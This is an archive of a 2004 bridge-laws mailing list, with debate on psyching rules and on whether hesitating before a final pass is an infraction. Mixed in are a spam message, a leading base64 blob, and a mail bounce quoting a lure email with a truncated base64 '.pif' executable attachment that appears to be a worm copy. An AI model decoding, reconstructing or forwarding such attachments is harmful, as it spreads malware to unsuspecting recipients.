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 EFiF7Gc/YcncssjETaxcNGjTdE2csDSg0NBk/NPITNQ8vJMQDk0AcDRY0zhN2IA0pMlQ2SZQ UJpQaXCmcHCacGlQplBQmlBpsKawsJqwadCm0NCa0GnwpvDwmvBp0IgyfUamPTiaS2lOpkFE ml9pWqZVUJpzaXameXyaZ2lipm1omptpnqaRlJqPYLGIk5fEBIWLjYX/QK78uq6tuQa0vrCw /bqA0U2sv0W7iq+iWdJ2jKLDfOHBydG3AoPOzs/0gqiRcwEj1+ayfYi5AoQODNFy1RcLDyg6 LAgofpgb2wAjKSYxDy4nLzR80Um3AHNcT0tbTlKi0VNLR8P6YGcCZHpwZnFlD1nNMNvukGeB koBipYaYLj325UoNng+tEWegi1RQ2kSx9Ybw2sZWwMhpillJ8vVOCOWNMjwZtVUqDjaJacAT Eg0JPK3ENTRpNAA5I2EaPCU8L74sM+DNgxsdGB3fFulAzy30YWIccWhrwOXtlaaxjJWQYZ4e hZerTZo6oA05uf4zTzxasQ2X8moqvaPD9MTStM79MTTHP0yzzv0xKDHP0/PFv0/PFrgBKTGN UWITs/db7VdmBviPudb0BM/UqGCZeaGvUJc8ub3xwbilrxewsLShxb9kM8upPo8bDG6kxzbE odqWWe9jKB7znyEWVtnfviWmN3pi1pCjNYcdn0jmoXdzZDdvmZ5suLDNM8WCk7Sns/Oa58wX vbGtruG3FvmbouXXwWUryvdcvZrQ9jzRR9zdaUqb+ppKxMQfoNL3+AVzz+M6K+ARUfn9hPCu QuE4CQ427UUUdPhQ0wRVYm3VyLefXKtpPxXt6jroZ+SzcW/vAUIlMGVpUWx+fkZBc1taU2om FXfyRmkMIC0cGhgaAhwSEBIcGpdCDnt2adzo9HF8sfM+fDxBanViCt8TX8cBi4yVCZMUhyK+ ugnadjh4jriVKuOAytfThXjr0xwd2QFj9nLIY8iJngbn+hz6pMj/8uLJ5kEGOiAgJ1QyNPAw QzFDmlqw1EtAV0xQVm9wbWXjaW5jMWFriZbnpHJ30nsZDBAOrR+1Be00BxvGqPDPt+USiRQu K316Djom01oiqTo9vjI3j1Y0+slCzm/C299NLOzx5O42Q/9rO7PLDySalpup8mSTrJPZq865 48q+PFrhPQt93WzlS0FFXVrHjVLuElLeasy48cd9PjwMuO7fC9v02gtnHIpwaSsrvjw7rRk+ nSAxdnTKp+OWlrga7DWHft65AK+66c2UysXBYZYsk1Ch063tEM1LG8PotqmNl4c6/JeB+tzE sf91nJX/zsMl6dLbyO7WzsOR8BnR+uPve849ho3W6uw16iTbaHTC8Ufr/LbEVSvbyCwCE99a HPUfFmFhejkYMi8x/hpwxvh1eoznlguW46xq4sfPflOlbCQbYVpG6UJWWAgAaUUXSUZM6yFC HgNA/5aUKCkRx1Z4Uq/aS2W7Rn89SpVcRMCgVfHc9XiY0szttoRb5QYVoqp6rfyk/esVW64N HdMNZjbatqNW6Hve0s0dypWGs3mG8aL2zDbQVP9y75TVU130whDz0lQIzkoBVPhC11EEAiUu KyBEBbpmPCpz8YEMfh8CHX+ynWEbMOy2Yj201Q8DqFABN92Dmhs3nVYZpxYcViaJbn7yrWRn nZHIrZ8VgVkvr2AizbCg4eW6BSu5gFHQxJDqBOGA+Q+f/Zznn7uEexA+wVyO2Cr8Hbfsdqn0 zMevKWXedwaxzIK4ePX0yfyx6qt04VQVGrDrogcHAD+C+p/kCWvjHgocgMAKFAYBdAdSHctz LWhyQAUGDwlkIgUQDdEMBHByOHp6zHVnxyZ0Hgk2DAv6oIQ6NUffuRVrkJxDZVOvddgAokS+ iYj1r3eohZxCJZmwEDC/tYqN5Sqp4ttFfYvJEYyCf6oimtYSnxr0hBXz69Wu/iOYg/r17e3k vLrVuvNQ19vTlVrnxI0f7f6kBuMgheCw5vQ68BtiziuLVDYiJK5V7ecuv95FFhIRfFgADxQc DQ8WBHMQZ/JgrLamxvqbq3wHMB1XfqCEUmRAU0NdREhXAHFMPkFEMEExOTIsNM3I6m0Ay7q+ 2s+2zMQG38HArq8a3usxAN+iopi4qoyx49W9o7y8rrZG9PWcppWuqVHoifzvd5357UGO9T8e qKrd1Mr1ZejKCyG11hDTeMJ/ya4FGVEXaCQaA2QJr3Cn0zZaAAD9ZRJRUk+Q7jUKwwsWwTxD GJAGVZFKQxB5ZgVqBHlBgii1gu1PizACRRB2Xamxqn3AP/5hQcwScRIxNfE7xGU1yCAyigsm nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/ sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7 fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ------=_NextPart_000_0004_00000F6E.00004032-- From blml@blakjak.com Tue May 11 15:09:35 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 11 May 2004 15:09:35 +0100 Subject: Fw: [blml] Double-meaning double In-Reply-To: <000801c431db$446b0640$7e6fddcb@noeltsui0kso1i> References: <02f601c42dec$404f7f20$649868d5@tinyhrieuyik> <000801c431db$446b0640$7e6fddcb@noeltsui0kso1i> Message-ID: Noel and Pamela wrote > > >>In England and similar jurisdictions there is a further problem. In most >competitions, it's illegal to agree to open with >"rule of 18" or less. >Hence you cannot tell opponents that partner has a propensity to psyche, >weaker, third in hand -- >because that would obviously involve an illegal >understanding and would result in an automatic TD call. >>(: Although I suspect that the ruling would depend on which >>TD you called :) > >>A complex issue. Could Danny Roth be right? Should psyching >>be banned? > >Please, please, please let us not go down that track!!! > >You ban psyches. > > >Ok, so I open a strong 1NT with 16 points, 2335 with a doubleton Q. Psyche >you scream. The Q isn't worth 2 points so you don't have your bid! > >Ok, so I open a good 10 count in 3rd seat. Psyche you scream! You must >have 11. > >Ok, I open 1NT with a 2254 shape. Psyche you scream! Can't have 2 >doubletons. > >Ok, so I open a weak 2H with only 5 hearts. Psyche you scream! Must have >6+ hearts. > >Ok, so I Blackwood with a void. Psyche you scream! Noone in their right >mind bids Blackwood with a void, ergo, you can't have one! > >Ok, so I Pass with 8 points and 6 Hearts. Psyche you scream! You MUST open >this hand 2H.... > >Where, oh where does it end???? If you don't bid the mandated SYSTEM bid, >as defined by who knows who, you MUST have psyched! Where does that leave >judgement? I'll go elsewhere for my entertainment thanks.... I do not understand this. None of the above are psyches. If a pair starts calling the TD about all these - especially if they scream - then I shall be reminding that pair about the proprieties of the game. In England we have a Rule of 18 or Rule of 19 dependent on the event. There are two sorts of bridge players: [1] Players who abide by the reg, ignore the reg, do not worry about the reg, call the TD if the reg is clearly breached but accept his ruling [2] Players who subscribe to BLML OK, I am joking, but people here [and on RGB] see problems that do not exist. The main problem they see is that if on one hand someone is a point light for something they do not see that it does not become a psyche/illegal call/offence against the whole of mankind. It doesn't. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue May 11 15:19:23 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 11 May 2004 15:19:23 +0100 Subject: [blml] Long considerations before final pass: Is this an infraction? In-Reply-To: <016501c436c6$87a07180$a301a8c0@fuegolabs.com> References: <016501c436c6$87a07180$a301a8c0@fuegolabs.com> Message-ID: Luis Argerich wrote >Just for curiosity, this happened (in different variations) at least 3 times >during a recent tournament... > >1NT pass 2c pass >2d pass pass * > >Now this player starts thinking, asks his opponents about 2c "normal >stayman" they answer, continues to think, now >asks about if 2h would have been garbage with both majors. "Yes" they >answer. More thinking, and after 2/3 minutes >of considerations passes. > >Everybody in the world knows that player had majors in fact he held (AKJxx, >Txxx, xx, Jx). >Is this an infraction ? What can declarer do ? > >Thanks for the info, always useful and informative. Thinking is only an infraction if it misleads the opponents [L73D1, second sentence]. So long as the player held that hand there is no infraction. The break in tempo also provides unauthorised information to his partner. So, if at any time during the defence he chooses a play that was suggested over a logical alternative play by the thinking then there could be an adjustment. But it would be the play that was the infraction, not the hesitation. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue May 11 15:21:57 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 11 May 2004 15:21:57 +0100 Subject: [blml] Long considerations before final pass: Is this an infraction? In-Reply-To: <000201c436d5$399e34e0$6900a8c0@WINXP> References: <016501c436c6$87a07180$a301a8c0@fuegolabs.com> <000201c436d5$399e34e0$6900a8c0@WINXP> Message-ID: <3o7i2NVFGOoAFwfu@blakjak.demon.co.uk> Sven Pran wrote >Luis Argerich >> Just for curiosity, this happened (in different variations) >> at least 3 times during a recent tournament... >> >> 1NT pass 2c pass >> 2d pass pass * >> >> Now this player starts thinking, asks his opponents about 2c >> "normal stayman" they answer, continues to think, now asks >> about if 2h would have been garbage with both majors. "Yes" >> they answer. More thinking, and after 2/3 minutes >> of considerations passes. >> >> Everybody in the world knows that player had majors in fact he held >> (AKJxx, Txxx, xx, Jx). >> Is this an infraction? > >No, it is not an infraction (unless the time is spent for the sole or main >purpose of misleading or discomforting declarer). I do not think this is what the Law says: if the effect is to mislead declarer then it is illegal: it does not need to be the purpose. For example, if you hesitate with a singleton the TD will adjust if there is damage: it may be that you were hesitating for some different reason, not deliberately to mislead [eg you thought a different suit had been led]. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Tue May 11 16:04:52 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 11 May 2004 17:04:52 +0200 Subject: [blml] Long considerations before final pass: Is this an infraction? In-Reply-To: <3o7i2NVFGOoAFwfu@blakjak.demon.co.uk> Message-ID: <000001c43769$5028ee50$6900a8c0@WINXP> > David Stevenson ......... > >> Is this an infraction? > > > >No, it is not an infraction (unless the time is spent for the sole or > main > >purpose of misleading or discomforting declarer). >=20 > I do not think this is what the Law says: if the effect is to = mislead > declarer then it is illegal: it does not need to be the purpose. >=20 > For example, if you hesitate with a singleton the TD will adjust if > there is damage: it may be that you were hesitating for some different > reason, not deliberately to mislead [eg you thought a different suit = had > been led]. I believe we agree that it requires some bridge reason for the = hesitation to be "legal". (And for instance considering how to continue in the next = trick is NOT a bridge reason for hesitating with a singleton). If there is no bridge reason that I as a Director can see (accept) then = that player will have the hell of a job convincing me that his hesitation was = not for the purpose of misleading the declarer, especially if he did not say something like for instance: "Sorry lads, I had nothing to think about" = to diminish the effect of his hesitation when his mind returned to the = game. Regards Sven From TroyMarengo40@gci.net Tue May 11 19:35:05 2004 From: TroyMarengo40@gci.net (Sterling Mcnew) Date: Tue, 11 May 2004 15:35:05 -0300 Subject: [blml] Fwd: ok Message-ID: <20040511173814.933762C750@rhubarb.custard.org>

 

 

 

 

No more announcements






The Abraham Lincoln, propelled by her wonderful screw, we= nt straight at the animal!=20for= um From luis@fuegolabs.com Tue May 11 19:03:42 2004 From: luis@fuegolabs.com (Luis Argerich) Date: Tue, 11 May 2004 15:03:42 -0300 Subject: [blml] Long considerations before final pass: Is this an infraction? References: <016501c436c6$87a07180$a301a8c0@fuegolabs.com> Message-ID: <024f01c43782$4ba04f90$a301a8c0@fuegolabs.com> ----- Original Message ----- From: "David Stevenson" To: Sent: Tuesday, May 11, 2004 11:19 AM Subject: Re: [blml] Long considerations before final pass: Is this an infraction? > Luis Argerich wrote > >Just for curiosity, this happened (in different variations) at least 3 times > >during a recent tournament... > > > >1NT pass 2c pass > >2d pass pass * > > > >Now this player starts thinking, asks his opponents about 2c "normal > >stayman" they answer, continues to think, now > >asks about if 2h would have been garbage with both majors. "Yes" they > >answer. More thinking, and after 2/3 minutes > >of considerations passes. > > > >Everybody in the world knows that player had majors in fact he held (AKJxx, > >Txxx, xx, Jx). > >Is this an infraction ? What can declarer do ? > > > >Thanks for the info, always useful and informative. > > Thinking is only an infraction if it misleads the opponents [L73D1, > second sentence]. So long as the player held that hand there is no > infraction. > > The break in tempo also provides unauthorised information to his > partner. So, if at any time during the defence he chooses a play that > was suggested over a logical alternative play by the thinking then there > could be an adjustment. But it would be the play that was the > infraction, not the hesitation. I wonder how you determine when a play can be influenced by UI and when not. In this particular case the full hand was: North: xxxx, QJxx, JT8x, x West: x,Axx,AQxxx,T9xxx East: AKJxx, Txxx, 9x, Jx South: QTx, Kx, Kxx, AKQxx The play with west on lead was: low spade, low, King, low Spade ace, Ten, heart, spade Spade, Queen, ruff, spade heart ace, low, low, low, heart, low, low, King Club ace, low, low, low Club King, low, spade, Jack Club, low, ruffed with the 8, overrruffed with the 9 heart, club, ruff, heart Etc for down 3 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.678 / Virus Database: 440 - Release Date: 5/10/2004 From Mailer-Daemon@cpanel13.fuitadnet.com Tue May 11 20:49:39 2004 From: Mailer-Daemon@cpanel13.fuitadnet.com (Mail Delivery System) Date: Tue, 11 May 2004 14:49:39 -0500 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: info@netjak.com This message has been rejected because it has a potentially executable attachment "your_document.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [82.33.169.70] (helo=netjak.com) by cpanel13.fuitadnet.com with esmtp (Exim 4.30) id 1BNdFu-0002tI-Eo for info@netjak.com; Tue, 11 May 2004 14:49:35 -0500 From: blml@rtflb.org To: info@netjak.com Subject: Re: Re: Document Date: Tue, 11 May 2004 20:49:50 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0010_0000424C.00000BC0" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0010_0000424C.00000BC0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Please read the attached file. ------=_NextPart_000_0010_0000424C.00000BC0 Content-Type: application/octet-stream; name="your_document.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_document.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp 